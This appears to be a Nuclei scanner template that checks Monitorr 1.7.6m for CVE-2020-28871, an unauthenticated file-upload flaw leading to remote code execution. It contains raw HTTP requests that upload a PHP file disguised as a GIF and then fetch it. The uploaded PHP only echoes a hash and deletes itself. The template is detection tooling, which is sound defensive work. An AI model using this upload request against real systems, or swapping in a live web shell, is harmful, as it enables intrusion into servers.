67 lines
2.8 KiB
YAML
67 lines
2.8 KiB
YAML
id: CVE-2020-28871
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info:
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name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution
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author: gy741
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severity: critical
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description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected system.
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remediation: |
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Upgrade to a patched version of Monitorr or apply the necessary security patches.
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reference:
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- https://www.exploit-db.com/exploits/48980
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- https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-28871
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- http://packetstormsecurity.com/files/163263/Monitorr-1.7.6m-Bypass-Information-Disclosure-Shell-Upload.html
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- http://packetstormsecurity.com/files/170974/Monitorr-1.7.6-Shell-Upload.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-28871
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cwe-id: CWE-434
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epss-score: 0.96944
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epss-percentile: 0.99659
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cpe: cpe:2.3:a:monitorr_project:monitorr:1.7.6m:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: monitorr_project
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product: monitorr
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tags: unauth,cve,fileupload,monitor,edb,intrusive,packetstorm,cve2020,rce,monitorr_project
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http:
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- raw:
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- |
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POST /assets/php/upload.php HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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Accept: text/plain, */*; q=0.01
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Connection: close
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Accept-Language: en-US,en;q=0.5
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X-Requested-With: XMLHttpRequest
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Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745
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Origin: http://{{Hostname}}
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Referer: http://{{Hostname}}
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-----------------------------31046105003900160576454225745
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Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php"
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Content-Type: image/gif
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GIF89a213213123<?php echo md5('CVE-2020-28871');unlink(__FILE__); ?>
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-----------------------------31046105003900160576454225745--
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- |
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GET /assets/data/usrimg/{{tolower("{{randstr}}.php")}} HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- "d03c180355b797069cc047ff5606d689"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100f77938c0b8e37c9e1496d51b88d9b05f9c4f177ebea07b96368342e33d88ffeb022100c3442e6305f0d2b1a964a228701ae6db5a3e343b8f945d6b8c39b68a055539b9:922c64590222798bb761d5b6d8e72950 |